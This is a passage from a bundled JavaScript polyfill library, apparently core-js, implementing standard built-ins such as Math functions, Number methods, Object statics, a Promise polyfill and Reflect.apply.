if(!(TO_PRIMITIVE in proto))_dereq_(40)(proto, TO_PRIMITIVE, _dereq_(26));
},{"117":117,"26":26,"40":40}],145:[function(_dereq_,module,exports){
var DateProto = Date.prototype
, INVALID_DATE = 'Invalid Date'
, TO_STRING = 'toString'
, $toString = DateProto[TO_STRING]
, getTime = DateProto.getTime;
if(new Date(NaN) + '' != INVALID_DATE){
_dereq_(87)(DateProto, TO_STRING, function toString(){
var value = getTime.call(this);
return value === value ? $toString.call(this) : INVALID_DATE;
});
}
},{"87":87}],146:[function(_dereq_,module,exports){
// 19.2.3.2 / 15.3.4.5 Function.prototype.bind(thisArg, args...)
var $export = _dereq_(32);
$export($export.P, 'Function', {bind: _dereq_(16)});
},{"16":16,"32":32}],147:[function(_dereq_,module,exports){
'use strict';
var isObject = _dereq_(49)
, getPrototypeOf = _dereq_(74)
, HAS_INSTANCE = _dereq_(117)('hasInstance')
, FunctionProto = Function.prototype;
// 19.2.3.6 Function.prototype[@@hasInstance](V)
if(!(HAS_INSTANCE in FunctionProto))_dereq_(67).f(FunctionProto, HAS_INSTANCE, {value: function(O){
if(typeof this != 'function' || !isObject(O))return false;
if(!isObject(this.prototype))return O instanceof this;
// for environment w/o native `@@hasInstance` logic enough `instanceof`, but add this:
while(O = getPrototypeOf(O))if(this.prototype === O)return true;
return false;
}});
},{"117":117,"49":49,"67":67,"74":74}],148:[function(_dereq_,module,exports){
var dP = _dereq_(67).f
, createDesc = _dereq_(85)
, has = _dereq_(39)
, FProto = Function.prototype
, nameRE = /^\s*function ([^ (]*)/
, NAME = 'name';
var isExtensible = Object.isExtensible || function(){
return true;
};
// 19.2.4.2 name
NAME in FProto || _dereq_(28) && dP(FProto, NAME, {
configurable: true,
get: function(){
try {
var that = this
, name = ('' + that).match(nameRE)[1];
has(that, NAME) || !isExtensible(that) || dP(that, NAME, createDesc(5, name));
return name;
} catch(e){
return '';
}
}
});
},{"28":28,"39":39,"67":67,"85":85}],149:[function(_dereq_,module,exports){
'use strict';
var strong = _dereq_(19);
// 23.1 Map Objects
module.exports = _dereq_(22)('Map', function(get){
return function Map(){ return get(this, arguments.length > 0 ? arguments[0] : undefined); };
}, {
// 23.1.3.6 Map.prototype.get(key)
get: function get(key){
var entry = strong.getEntry(this, key);
return entry && entry.v;
},
// 23.1.3.9 Map.prototype.set(key, value)
set: function set(key, value){
return strong.def(this, key === 0 ? 0 : key, value);
}
}, strong, true);
},{"19":19,"22":22}],150:[function(_dereq_,module,exports){
// 20.2.2.3 Math.acosh(x)
var $export = _dereq_(32)
, log1p = _dereq_(60)
, sqrt = Math.sqrt
, $acosh = Math.acosh;
$export($export.S + $export.F * !($acosh
// V8 bug: https://code.google.com/p/v8/issues/detail?id=3509
&& Math.floor($acosh(Number.MAX_VALUE)) == 710
// Tor Browser bug: Math.acosh(Infinity) -> NaN
&& $acosh(Infinity) == Infinity
), 'Math', {
acosh: function acosh(x){
return (x = +x) < 1 ? NaN : x > 94906265.62425156
? Math.log(x) + Math.LN2
: log1p(x - 1 + sqrt(x - 1) * sqrt(x + 1));
}
});
},{"32":32,"60":60}],151:[function(_dereq_,module,exports){
// 20.2.2.5 Math.asinh(x)
var $export = _dereq_(32)
, $asinh = Math.asinh;
function asinh(x){
return !isFinite(x = +x) || x == 0 ? x : x < 0 ? -asinh(-x) : Math.log(x + Math.sqrt(x * x + 1));
}
// Tor Browser bug: Math.asinh(0) -> -0
$export($export.S + $export.F * !($asinh && 1 / $asinh(0) > 0), 'Math', {asinh: asinh});
},{"32":32}],152:[function(_dereq_,module,exports){
// 20.2.2.7 Math.atanh(x)
var $export = _dereq_(32)
, $atanh = Math.atanh;
// Tor Browser bug: Math.atanh(-0) -> 0
$export($export.S + $export.F * !($atanh && 1 / $atanh(-0) < 0), 'Math', {
atanh: function atanh(x){
return (x = +x) == 0 ? x : Math.log((1 + x) / (1 - x)) / 2;
}
});
},{"32":32}],153:[function(_dereq_,module,exports){
// 20.2.2.9 Math.cbrt(x)
var $export = _dereq_(32)
, sign = _dereq_(61);
$export($export.S, 'Math', {
cbrt: function cbrt(x){
return sign(x = +x) * Math.pow(Math.abs(x), 1 / 3);
}
});
},{"32":32,"61":61}],154:[function(_dereq_,module,exports){
// 20.2.2.11 Math.clz32(x)
var $export = _dereq_(32);
$export($export.S, 'Math', {
clz32: function clz32(x){
return (x >>>= 0) ? 31 - Math.floor(Math.log(x + 0.5) * Math.LOG2E) : 32;
}
});
},{"32":32}],155:[function(_dereq_,module,exports){
// 20.2.2.12 Math.cosh(x)
var $export = _dereq_(32)
, exp = Math.exp;
$export($export.S, 'Math', {
cosh: function cosh(x){
return (exp(x = +x) + exp(-x)) / 2;
}
});
},{"32":32}],156:[function(_dereq_,module,exports){
// 20.2.2.14 Math.expm1(x)
var $export = _dereq_(32)
, $expm1 = _dereq_(59);
$export($export.S + $export.F * ($expm1 != Math.expm1), 'Math', {expm1: $expm1});
},{"32":32,"59":59}],157:[function(_dereq_,module,exports){
// 20.2.2.16 Math.fround(x)
var $export = _dereq_(32)
, sign = _dereq_(61)
, pow = Math.pow
, EPSILON = pow(2, -52)
, EPSILON32 = pow(2, -23)
, MAX32 = pow(2, 127) * (2 - EPSILON32)
, MIN32 = pow(2, -126);
var roundTiesToEven = function(n){
return n + 1 / EPSILON - 1 / EPSILON;
};
$export($export.S, 'Math', {
fround: function fround(x){
var $abs = Math.abs(x)
, $sign = sign(x)
, a, result;
if($abs < MIN32)return $sign * roundTiesToEven($abs / MIN32 / EPSILON32) * MIN32 * EPSILON32;
a = (1 + EPSILON32 / EPSILON) * $abs;
result = a - (a - $abs);
if(result > MAX32 || result != result)return $sign * Infinity;
return $sign * result;
}
});
},{"32":32,"61":61}],158:[function(_dereq_,module,exports){
// 20.2.2.17 Math.hypot([value1[, value2[, … ]]])
var $export = _dereq_(32)
, abs = Math.abs;
$export($export.S, 'Math', {
hypot: function hypot(value1, value2){ // eslint-disable-line no-unused-vars
var sum = 0
, i = 0
, aLen = arguments.length
, larg = 0
, arg, div;
while(i < aLen){
arg = abs(arguments[i++]);
if(larg < arg){
div = larg / arg;
sum = sum * div * div + 1;
larg = arg;
} else if(arg > 0){
div = arg / larg;
sum += div * div;
} else sum += arg;
}
return larg === Infinity ? Infinity : larg * Math.sqrt(sum);
}
});
},{"32":32}],159:[function(_dereq_,module,exports){
// 20.2.2.18 Math.imul(x, y)
var $export = _dereq_(32)
, $imul = Math.imul;
// some WebKit versions fails with big numbers, some has wrong arity
$export($export.S + $export.F * _dereq_(34)(function(){
return $imul(0xffffffff, 5) != -5 || $imul.length != 2;
}), 'Math', {
imul: function imul(x, y){
var UINT16 = 0xffff
, xn = +x
, yn = +y
, xl = UINT16 & xn
, yl = UINT16 & yn;
return 0 | xl * yl + ((UINT16 & xn >>> 16) * yl + xl * (UINT16 & yn >>> 16) << 16 >>> 0);
}
});
},{"32":32,"34":34}],160:[function(_dereq_,module,exports){
// 20.2.2.21 Math.log10(x)
var $export = _dereq_(32);
$export($export.S, 'Math', {
log10: function log10(x){
return Math.log(x) / Math.LN10;
}
});
},{"32":32}],161:[function(_dereq_,module,exports){
// 20.2.2.20 Math.log1p(x)
var $export = _dereq_(32);
$export($export.S, 'Math', {log1p: _dereq_(60)});
},{"32":32,"60":60}],162:[function(_dereq_,module,exports){
// 20.2.2.22 Math.log2(x)
var $export = _dereq_(32);
$export($export.S, 'Math', {
log2: function log2(x){
return Math.log(x) / Math.LN2;
}
});
},{"32":32}],163:[function(_dereq_,module,exports){
// 20.2.2.28 Math.sign(x)
var $export = _dereq_(32);
$export($export.S, 'Math', {sign: _dereq_(61)});
},{"32":32,"61":61}],164:[function(_dereq_,module,exports){
// 20.2.2.30 Math.sinh(x)
var $export = _dereq_(32)
, expm1 = _dereq_(59)
, exp = Math.exp;
// V8 near Chromium 38 has a problem with very small numbers
$export($export.S + $export.F * _dereq_(34)(function(){
return !Math.sinh(-2e-17) != -2e-17;
}), 'Math', {
sinh: function sinh(x){
return Math.abs(x = +x) < 1
? (expm1(x) - expm1(-x)) / 2
: (exp(x - 1) - exp(-x - 1)) * (Math.E / 2);
}
});
},{"32":32,"34":34,"59":59}],165:[function(_dereq_,module,exports){
// 20.2.2.33 Math.tanh(x)
var $export = _dereq_(32)
, expm1 = _dereq_(59)
, exp = Math.exp;
$export($export.S, 'Math', {
tanh: function tanh(x){
var a = expm1(x = +x)
, b = expm1(-x);
return a == Infinity ? 1 : b == Infinity ? -1 : (a - b) / (exp(x) + exp(-x));
}
});
},{"32":32,"59":59}],166:[function(_dereq_,module,exports){
// 20.2.2.34 Math.trunc(x)
var $export = _dereq_(32);
$export($export.S, 'Math', {
trunc: function trunc(it){
return (it > 0 ? Math.floor : Math.ceil)(it);
}
});
},{"32":32}],167:[function(_dereq_,module,exports){
'use strict';
var global = _dereq_(38)
, has = _dereq_(39)
, cof = _dereq_(18)
, inheritIfRequired = _dereq_(43)
, toPrimitive = _dereq_(110)
, fails = _dereq_(34)
, gOPN = _dereq_(72).f
, gOPD = _dereq_(70).f
, dP = _dereq_(67).f
, $trim = _dereq_(102).trim
, NUMBER = 'Number'
, $Number = global[NUMBER]
, Base = $Number
, proto = $Number.prototype
// Opera ~12 has broken Object#toString
, BROKEN_COF = cof(_dereq_(66)(proto)) == NUMBER
, TRIM = 'trim' in String.prototype;
// 7.1.3 ToNumber(argument)
var toNumber = function(argument){
var it = toPrimitive(argument, false);
if(typeof it == 'string' && it.length > 2){
it = TRIM ? it.trim() : $trim(it, 3);
var first = it.charCodeAt(0)
, third, radix, maxCode;
if(first === 43 || first === 45){
third = it.charCodeAt(2);
if(third === 88 || third === 120)return NaN; // Number('+0x1') should be NaN, old V8 fix
} else if(first === 48){
switch(it.charCodeAt(1)){
case 66 : case 98 : radix = 2; maxCode = 49; break; // fast equal /^0b[01]+$/i
case 79 : case 111 : radix = 8; maxCode = 55; break; // fast equal /^0o[0-7]+$/i
default : return +it;
}
for(var digits = it.slice(2), i = 0, l = digits.length, code; i < l; i++){
code = digits.charCodeAt(i);
// parseInt parses a string to a first unavailable symbol
// but ToNumber should return NaN if a string contains unavailable symbols
if(code < 48 || code > maxCode)return NaN;
} return parseInt(digits, radix);
}
} return +it;
};
if(!$Number(' 0o1') || !$Number('0b1') || $Number('+0x1')){
$Number = function Number(value){
var it = arguments.length < 1 ? 0 : value
, that = this;
return that instanceof $Number
// check on 1..constructor(foo) case
&& (BROKEN_COF ? fails(function(){ proto.valueOf.call(that); }) : cof(that) != NUMBER)
? inheritIfRequired(new Base(toNumber(it)), that, $Number) : toNumber(it);
};
for(var keys = _dereq_(28) ? gOPN(Base) : (
// ES3:
'MAX_VALUE,MIN_VALUE,NaN,NEGATIVE_INFINITY,POSITIVE_INFINITY,' +
// ES6 (in case, if modules with ES6 Number statics required before):
'EPSILON,isFinite,isInteger,isNaN,isSafeInteger,MAX_SAFE_INTEGER,' +
'MIN_SAFE_INTEGER,parseFloat,parseInt,isInteger'
).split(','), j = 0, key; keys.length > j; j++){
if(has(Base, key = keys[j]) && !has($Number, key)){
dP($Number, key, gOPD(Base, key));
}
}
$Number.prototype = proto;
proto.constructor = $Number;
_dereq_(87)(global, NUMBER, $Number);
}
},{"102":102,"110":110,"18":18,"28":28,"34":34,"38":38,"39":39,"43":43,"66":66,"67":67,"70":70,"72":72,"87":87}],168:[function(_dereq_,module,exports){
// 20.1.2.1 Number.EPSILON
var $export = _dereq_(32);
$export($export.S, 'Number', {EPSILON: Math.pow(2, -52)});
},{"32":32}],169:[function(_dereq_,module,exports){
// 20.1.2.2 Number.isFinite(number)
var $export = _dereq_(32)
, _isFinite = _dereq_(38).isFinite;
$export($export.S, 'Number', {
isFinite: function isFinite(it){
return typeof it == 'number' && _isFinite(it);
}
});
},{"32":32,"38":38}],170:[function(_dereq_,module,exports){
// 20.1.2.3 Number.isInteger(number)
var $export = _dereq_(32);
$export($export.S, 'Number', {isInteger: _dereq_(48)});
},{"32":32,"48":48}],171:[function(_dereq_,module,exports){
// 20.1.2.4 Number.isNaN(number)
var $export = _dereq_(32);
$export($export.S, 'Number', {
isNaN: function isNaN(number){
return number != number;
}
});
},{"32":32}],172:[function(_dereq_,module,exports){
// 20.1.2.5 Number.isSafeInteger(number)
var $export = _dereq_(32)
, isInteger = _dereq_(48)
, abs = Math.abs;
$export($export.S, 'Number', {
isSafeInteger: function isSafeInteger(number){
return isInteger(number) && abs(number) <= 0x1fffffffffffff;
}
});
},{"32":32,"48":48}],173:[function(_dereq_,module,exports){
// 20.1.2.6 Number.MAX_SAFE_INTEGER
var $export = _dereq_(32);
$export($export.S, 'Number', {MAX_SAFE_INTEGER: 0x1fffffffffffff});
},{"32":32}],174:[function(_dereq_,module,exports){
// 20.1.2.10 Number.MIN_SAFE_INTEGER
var $export = _dereq_(32);
$export($export.S, 'Number', {MIN_SAFE_INTEGER: -0x1fffffffffffff});
},{"32":32}],175:[function(_dereq_,module,exports){
var $export = _dereq_(32)
, $parseFloat = _dereq_(81);
// 20.1.2.12 Number.parseFloat(string)
$export($export.S + $export.F * (Number.parseFloat != $parseFloat), 'Number', {parseFloat: $parseFloat});
},{"32":32,"81":81}],176:[function(_dereq_,module,exports){
var $export = _dereq_(32)
, $parseInt = _dereq_(82);
// 20.1.2.13 Number.parseInt(string, radix)
$export($export.S + $export.F * (Number.parseInt != $parseInt), 'Number', {parseInt: $parseInt});
},{"32":32,"82":82}],177:[function(_dereq_,module,exports){
'use strict';
var $export = _dereq_(32)
, toInteger = _dereq_(106)
, aNumberValue = _dereq_(4)
, repeat = _dereq_(101)
, $toFixed = 1..toFixed
, floor = Math.floor
, data = [0, 0, 0, 0, 0, 0]
, ERROR = 'Number.toFixed: incorrect invocation!'
, ZERO = '0';
var multiply = function(n, c){
var i = -1
, c2 = c;
while(++i < 6){
c2 += n * data[i];
data[i] = c2 % 1e7;
c2 = floor(c2 / 1e7);
}
};
var divide = function(n){
var i = 6
, c = 0;
while(--i >= 0){
c += data[i];
data[i] = floor(c / n);
c = (c % n) * 1e7;
}
};
var numToString = function(){
var i = 6
, s = '';
while(--i >= 0){
if(s !== '' || i === 0 || data[i] !== 0){
var t = String(data[i]);
s = s === '' ? t : s + repeat.call(ZERO, 7 - t.length) + t;
}
} return s;
};
var pow = function(x, n, acc){
return n === 0 ? acc : n % 2 === 1 ? pow(x, n - 1, acc * x) : pow(x * x, n / 2, acc);
};
var log = function(x){
var n = 0
, x2 = x;
while(x2 >= 4096){
n += 12;
x2 /= 4096;
}
while(x2 >= 2){
n += 1;
x2 /= 2;
} return n;
};
$export($export.P + $export.F * (!!$toFixed && (
0.00008.toFixed(3) !== '0.000' ||
0.9.toFixed(0) !== '1' ||
1.255.toFixed(2) !== '1.25' ||
1000000000000000128..toFixed(0) !== '1000000000000000128'
) || !_dereq_(34)(function(){
// V8 ~ Android 4.3-
$toFixed.call({});
})), 'Number', {
toFixed: function toFixed(fractionDigits){
var x = aNumberValue(this, ERROR)
, f = toInteger(fractionDigits)
, s = ''
, m = ZERO
, e, z, j, k;
if(f < 0 || f > 20)throw RangeError(ERROR);
if(x != x)return 'NaN';
if(x <= -1e21 || x >= 1e21)return String(x);
if(x < 0){
s = '-';
x = -x;
}
if(x > 1e-21){
e = log(x * pow(2, 69, 1)) - 69;
z = e < 0 ? x * pow(2, -e, 1) : x / pow(2, e, 1);
z *= 0x10000000000000;
e = 52 - e;
if(e > 0){
multiply(0, z);
j = f;
while(j >= 7){
multiply(1e7, 0);
j -= 7;
}
multiply(pow(10, j, 1), 0);
j = e - 1;
while(j >= 23){
divide(1 << 23);
j -= 23;
}
divide(1 << j);
multiply(1, 1);
divide(2);
m = numToString();
} else {
multiply(0, z);
multiply(1 << -e, 0);
m = numToString() + repeat.call(ZERO, f);
}
}
if(f > 0){
k = m.length;
m = s + (k <= f ? '0.' + repeat.call(ZERO, f - k) + m : m.slice(0, k - f) + '.' + m.slice(k - f));
} else {
m = s + m;
} return m;
}
});
},{"101":101,"106":106,"32":32,"34":34,"4":4}],178:[function(_dereq_,module,exports){
'use strict';
var $export = _dereq_(32)
, $fails = _dereq_(34)
, aNumberValue = _dereq_(4)
, $toPrecision = 1..toPrecision;
$export($export.P + $export.F * ($fails(function(){
// IE7-
return $toPrecision.call(1, undefined) !== '1';
}) || !$fails(function(){
// V8 ~ Android 4.3-
$toPrecision.call({});
})), 'Number', {
toPrecision: function toPrecision(precision){
var that = aNumberValue(this, 'Number#toPrecision: incorrect invocation!');
return precision === undefined ? $toPrecision.call(that) : $toPrecision.call(that, precision);
}
});
},{"32":32,"34":34,"4":4}],179:[function(_dereq_,module,exports){
// 19.1.3.1 Object.assign(target, source)
var $export = _dereq_(32);
$export($export.S + $export.F, 'Object', {assign: _dereq_(65)});
},{"32":32,"65":65}],180:[function(_dereq_,module,exports){
var $export = _dereq_(32)
// 19.1.2.2 / 15.2.3.5 Object.create(O [, Properties])
$export($export.S, 'Object', {create: _dereq_(66)});
},{"32":32,"66":66}],181:[function(_dereq_,module,exports){
var $export = _dereq_(32);
// 19.1.2.3 / 15.2.3.7 Object.defineProperties(O, Properties)
$export($export.S + $export.F * !_dereq_(28), 'Object', {defineProperties: _dereq_(68)});
},{"28":28,"32":32,"68":68}],182:[function(_dereq_,module,exports){
var $export = _dereq_(32);
// 19.1.2.4 / 15.2.3.6 Object.defineProperty(O, P, Attributes)
$export($export.S + $export.F * !_dereq_(28), 'Object', {defineProperty: _dereq_(67).f});
},{"28":28,"32":32,"67":67}],183:[function(_dereq_,module,exports){
// 19.1.2.5 Object.freeze(O)
var isObject = _dereq_(49)
, meta = _dereq_(62).onFreeze;
_dereq_(78)('freeze', function($freeze){
return function freeze(it){
return $freeze && isObject(it) ? $freeze(meta(it)) : it;
};
});
},{"49":49,"62":62,"78":78}],184:[function(_dereq_,module,exports){
// 19.1.2.6 Object.getOwnPropertyDescriptor(O, P)
var toIObject = _dereq_(107)
, $getOwnPropertyDescriptor = _dereq_(70).f;
_dereq_(78)('getOwnPropertyDescriptor', function(){
return function getOwnPropertyDescriptor(it, key){
return $getOwnPropertyDescriptor(toIObject(it), key);
};
});
},{"107":107,"70":70,"78":78}],185:[function(_dereq_,module,exports){
// 19.1.2.7 Object.getOwnPropertyNames(O)
_dereq_(78)('getOwnPropertyNames', function(){
return _dereq_(71).f;
});
},{"71":71,"78":78}],186:[function(_dereq_,module,exports){
// 19.1.2.9 Object.getPrototypeOf(O)
var toObject = _dereq_(109)
, $getPrototypeOf = _dereq_(74);
_dereq_(78)('getPrototypeOf', function(){
return function getPrototypeOf(it){
return $getPrototypeOf(toObject(it));
};
});
},{"109":109,"74":74,"78":78}],187:[function(_dereq_,module,exports){
// 19.1.2.11 Object.isExtensible(O)
var isObject = _dereq_(49);
_dereq_(78)('isExtensible', function($isExtensible){
return function isExtensible(it){
return isObject(it) ? $isExtensible ? $isExtensible(it) : true : false;
};
});
},{"49":49,"78":78}],188:[function(_dereq_,module,exports){
// 19.1.2.12 Object.isFrozen(O)
var isObject = _dereq_(49);
_dereq_(78)('isFrozen', function($isFrozen){
return function isFrozen(it){
return isObject(it) ? $isFrozen ? $isFrozen(it) : false : true;
};
});
},{"49":49,"78":78}],189:[function(_dereq_,module,exports){
// 19.1.2.13 Object.isSealed(O)
var isObject = _dereq_(49);
_dereq_(78)('isSealed', function($isSealed){
return function isSealed(it){
return isObject(it) ? $isSealed ? $isSealed(it) : false : true;
};
});
},{"49":49,"78":78}],190:[function(_dereq_,module,exports){
// 19.1.3.10 Object.is(value1, value2)
var $export = _dereq_(32);
$export($export.S, 'Object', {is: _dereq_(89)});
},{"32":32,"89":89}],191:[function(_dereq_,module,exports){
// 19.1.2.14 Object.keys(O)
var toObject = _dereq_(109)
, $keys = _dereq_(76);
_dereq_(78)('keys', function(){
return function keys(it){
return $keys(toObject(it));
};
});
},{"109":109,"76":76,"78":78}],192:[function(_dereq_,module,exports){
// 19.1.2.15 Object.preventExtensions(O)
var isObject = _dereq_(49)
, meta = _dereq_(62).onFreeze;
_dereq_(78)('preventExtensions', function($preventExtensions){
return function preventExtensions(it){
return $preventExtensions && isObject(it) ? $preventExtensions(meta(it)) : it;
};
});
},{"49":49,"62":62,"78":78}],193:[function(_dereq_,module,exports){
// 19.1.2.17 Object.seal(O)
var isObject = _dereq_(49)
, meta = _dereq_(62).onFreeze;
_dereq_(78)('seal', function($seal){
return function seal(it){
return $seal && isObject(it) ? $seal(meta(it)) : it;
};
});
},{"49":49,"62":62,"78":78}],194:[function(_dereq_,module,exports){
// 19.1.3.19 Object.setPrototypeOf(O, proto)
var $export = _dereq_(32);
$export($export.S, 'Object', {setPrototypeOf: _dereq_(90).set});
},{"32":32,"90":90}],195:[function(_dereq_,module,exports){
'use strict';
// 19.1.3.6 Object.prototype.toString()
var classof = _dereq_(17)
, test = {};
test[_dereq_(117)('toStringTag')] = 'z';
if(test + '' != '[object z]'){
_dereq_(87)(Object.prototype, 'toString', function toString(){
return '[object ' + classof(this) + ']';
}, true);
}
},{"117":117,"17":17,"87":87}],196:[function(_dereq_,module,exports){
var $export = _dereq_(32)
, $parseFloat = _dereq_(81);
// 18.2.4 parseFloat(string)
$export($export.G + $export.F * (parseFloat != $parseFloat), {parseFloat: $parseFloat});
},{"32":32,"81":81}],197:[function(_dereq_,module,exports){
var $export = _dereq_(32)
, $parseInt = _dereq_(82);
// 18.2.5 parseInt(string, radix)
$export($export.G + $export.F * (parseInt != $parseInt), {parseInt: $parseInt});
},{"32":32,"82":82}],198:[function(_dereq_,module,exports){
'use strict';
var LIBRARY = _dereq_(58)
, global = _dereq_(38)
, ctx = _dereq_(25)
, classof = _dereq_(17)
, $export = _dereq_(32)
, isObject = _dereq_(49)
, aFunction = _dereq_(3)
, anInstance = _dereq_(6)
, forOf = _dereq_(37)
, speciesConstructor = _dereq_(95)
, task = _dereq_(104).set
, microtask = _dereq_(64)()
, PROMISE = 'Promise'
, TypeError = global.TypeError
, process = global.process
, $Promise = global[PROMISE]
, process = global.process
, isNode = classof(process) == 'process'
, empty = function(){ /* empty */ }
, Internal, GenericPromiseCapability, Wrapper;
var USE_NATIVE = !!function(){
try {
// correct subclassing with @@species support
var promise = $Promise.resolve(1)
, FakePromise = (promise.constructor = {})[_dereq_(117)('species')] = function(exec){ exec(empty, empty); };
// unhandled rejections tracking support, NodeJS Promise without it fails @@species test
return (isNode || typeof PromiseRejectionEvent == 'function') && promise.then(empty) instanceof FakePromise;
} catch(e){ /* empty */ }
}();
// helpers
var sameConstructor = function(a, b){
// with library wrapper special case
return a === b || a === $Promise && b === Wrapper;
};
var isThenable = function(it){
var then;
return isObject(it) && typeof (then = it.then) == 'function' ? then : false;
};
var newPromiseCapability = function(C){
return sameConstructor($Promise, C)
? new PromiseCapability(C)
: new GenericPromiseCapability(C);
};
var PromiseCapability = GenericPromiseCapability = function(C){
var resolve, reject;
this.promise = new C(function($$resolve, $$reject){
if(resolve !== undefined || reject !== undefined)throw TypeError('Bad Promise constructor');
resolve = $$resolve;
reject = $$reject;
});
this.resolve = aFunction(resolve);
this.reject = aFunction(reject);
};
var perform = function(exec){
try {
exec();
} catch(e){
return {error: e};
}
};
var notify = function(promise, isReject){
if(promise._n)return;
promise._n = true;
var chain = promise._c;
microtask(function(){
var value = promise._v
, ok = promise._s == 1
, i = 0;
var run = function(reaction){
var handler = ok ? reaction.ok : reaction.fail
, resolve = reaction.resolve
, reject = reaction.reject
, domain = reaction.domain
, result, then;
try {
if(handler){
if(!ok){
if(promise._h == 2)onHandleUnhandled(promise);
promise._h = 1;
}
if(handler === true)result = value;
else {
if(domain)domain.enter();
result = handler(value);
if(domain)domain.exit();
}
if(result === reaction.promise){
reject(TypeError('Promise-chain cycle'));
} else if(then = isThenable(result)){
then.call(result, resolve, reject);
} else resolve(result);
} else reject(value);
} catch(e){
reject(e);
}
};
while(chain.length > i)run(chain[i++]); // variable length - can't use forEach
promise._c = [];
promise._n = false;
if(isReject && !promise._h)onUnhandled(promise);
});
};
var onUnhandled = function(promise){
task.call(global, function(){
var value = promise._v
, abrupt, handler, console;
if(isUnhandled(promise)){
abrupt = perform(function(){
if(isNode){
process.emit('unhandledRejection', value, promise);
} else if(handler = global.onunhandledrejection){
handler({promise: promise, reason: value});
} else if((console = global.console) && console.error){
console.error('Unhandled promise rejection', value);
}
});
// Browsers should not trigger `rejectionHandled` event if it was handled here, NodeJS - should
promise._h = isNode || isUnhandled(promise) ? 2 : 1;
} promise._a = undefined;
if(abrupt)throw abrupt.error;
});
};
var isUnhandled = function(promise){
if(promise._h == 1)return false;
var chain = promise._a || promise._c
, i = 0
, reaction;
while(chain.length > i){
reaction = chain[i++];
if(reaction.fail || !isUnhandled(reaction.promise))return false;
} return true;
};
var onHandleUnhandled = function(promise){
task.call(global, function(){
var handler;
if(isNode){
process.emit('rejectionHandled', promise);
} else if(handler = global.onrejectionhandled){
handler({promise: promise, reason: promise._v});
}
});
};
var $reject = function(value){
var promise = this;
if(promise._d)return;
promise._d = true;
promise = promise._w || promise; // unwrap
promise._v = value;
promise._s = 2;
if(!promise._a)promise._a = promise._c.slice();
notify(promise, true);
};
var $resolve = function(value){
var promise = this
, then;
if(promise._d)return;
promise._d = true;
promise = promise._w || promise; // unwrap
try {
if(promise === value)throw TypeError("Promise can't be resolved itself");
if(then = isThenable(value)){
microtask(function(){
var wrapper = {_w: promise, _d: false}; // wrap
try {
then.call(value, ctx($resolve, wrapper, 1), ctx($reject, wrapper, 1));
} catch(e){
$reject.call(wrapper, e);
}
});
} else {
promise._v = value;
promise._s = 1;
notify(promise, false);
}
} catch(e){
$reject.call({_w: promise, _d: false}, e); // wrap
}
};
// constructor polyfill
if(!USE_NATIVE){
// 25.4.3.1 Promise(executor)
$Promise = function Promise(executor){
anInstance(this, $Promise, PROMISE, '_h');
aFunction(executor);
Internal.call(this);
try {
executor(ctx($resolve, this, 1), ctx($reject, this, 1));
} catch(err){
$reject.call(this, err);
}
};
Internal = function Promise(executor){
this._c = []; // <- awaiting reactions
this._a = undefined; // <- checked in isUnhandled reactions
this._s = 0; // <- state
this._d = false; // <- done
this._v = undefined; // <- value
this._h = 0; // <- rejection state, 0 - default, 1 - handled, 2 - unhandled
this._n = false; // <- notify
};
Internal.prototype = _dereq_(86)($Promise.prototype, {
// 25.4.5.3 Promise.prototype.then(onFulfilled, onRejected)
then: function then(onFulfilled, onRejected){
var reaction = newPromiseCapability(speciesConstructor(this, $Promise));
reaction.ok = typeof onFulfilled == 'function' ? onFulfilled : true;
reaction.fail = typeof onRejected == 'function' && onRejected;
reaction.domain = isNode ? process.domain : undefined;
this._c.push(reaction);
if(this._a)this._a.push(reaction);
if(this._s)notify(this, false);
return reaction.promise;
},
// 25.4.5.1 Promise.prototype.catch(onRejected)
'catch': function(onRejected){
return this.then(undefined, onRejected);
}
});
PromiseCapability = function(){
var promise = new Internal;
this.promise = promise;
this.resolve = ctx($resolve, promise, 1);
this.reject = ctx($reject, promise, 1);
};
}
$export($export.G + $export.W + $export.F * !USE_NATIVE, {Promise: $Promise});
_dereq_(92)($Promise, PROMISE);
_dereq_(91)(PROMISE);
Wrapper = _dereq_(23)[PROMISE];
// statics
$export($export.S + $export.F * !USE_NATIVE, PROMISE, {
// 25.4.4.5 Promise.reject(r)
reject: function reject(r){
var capability = newPromiseCapability(this)
, $$reject = capability.reject;
$$reject(r);
return capability.promise;
}
});
$export($export.S + $export.F * (LIBRARY || !USE_NATIVE), PROMISE, {
// 25.4.4.6 Promise.resolve(x)
resolve: function resolve(x){
// instanceof instead of internal slot check because we should fix it without replacement native Promise core
if(x instanceof $Promise && sameConstructor(x.constructor, this))return x;
var capability = newPromiseCapability(this)
, $$resolve = capability.resolve;
$$resolve(x);
return capability.promise;
}
});
$export($export.S + $export.F * !(USE_NATIVE && _dereq_(54)(function(iter){
$Promise.all(iter)['catch'](empty);
})), PROMISE, {
// 25.4.4.1 Promise.all(iterable)
all: function all(iterable){
var C = this
, capability = newPromiseCapability(C)
, resolve = capability.resolve
, reject = capability.reject;
var abrupt = perform(function(){
var values = []
, index = 0
, remaining = 1;
forOf(iterable, false, function(promise){
var $index = index++
, alreadyCalled = false;
values.push(undefined);
remaining++;
C.resolve(promise).then(function(value){
if(alreadyCalled)return;
alreadyCalled = true;
values[$index] = value;
--remaining || resolve(values);
}, reject);
});
--remaining || resolve(values);
});
if(abrupt)reject(abrupt.error);
return capability.promise;
},
// 25.4.4.4 Promise.race(iterable)
race: function race(iterable){
var C = this
, capability = newPromiseCapability(C)
, reject = capability.reject;
var abrupt = perform(function(){
forOf(iterable, false, function(promise){
C.resolve(promise).then(capability.resolve, reject);
});
});
if(abrupt)reject(abrupt.error);
return capability.promise;
}
});
},{"104":104,"117":117,"17":17,"23":23,"25":25,"3":3,"32":32,"37":37,"38":38,"49":49,"54":54,"58":58,"6":6,"64":64,"86":86,"91":91,"92":92,"95":95}],199:[function(_dereq_,module,exports){
// 26.1.1 Reflect.apply(target, thisArgument, argumentsList)
var $export = _dereq_(32)
, aFunction = _dereq_(3)
, anObject = _dereq_(7)
, rApply = (_dereq_(38).Reflect || {}).apply
, fApply = Function.apply;
// MS Edge argumentsList argument is optional
$export($export.S + $export.F * !_dereq_(34)(function(){
rApply(function(){});
}), 'Reflect', {
apply: function apply(target, thisArgument, argumentsList){
var T = aFunction(target)
, L = anObject(argumentsList);
return rApply ? rApply(T, thisArgument, L) : fApply.call(T, thisArgument, L);
}
});
},{"3":3,"32":32,"34":34,"38":38,"7":7}],200:[function(_dereq_,module,exports){
// 26.1.2 Reflect.construct(target, argumentsList [, newTarget])
var $export = _dereq_(32)
, create = _dereq_(66)
, aFunction = _dereq_(3)
, anObject = _dereq_(7)
